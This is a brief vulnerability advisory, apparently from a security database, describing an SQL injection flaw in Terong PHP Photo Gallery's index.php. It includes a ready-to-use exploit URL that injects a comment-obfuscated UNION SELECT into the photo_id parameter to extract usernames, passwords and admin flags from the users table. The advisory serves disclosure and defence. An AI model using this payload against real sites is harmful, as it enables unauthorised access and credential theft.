|
Terong PHP Photo Gallery 'index.php' SQL Injection Vulnerability
An attacker can exploit this issue via a browser. The following exploit is available: http://www.example.com/index.php?photo_id=-1/**/UNION/**/ALL/**/SELECT/**/1,2,concat(username,0x3a,password,0x3a,admin),4/**/FROM/**/users/**/WHERE/**/admin |
|
|
Privacy Statement |
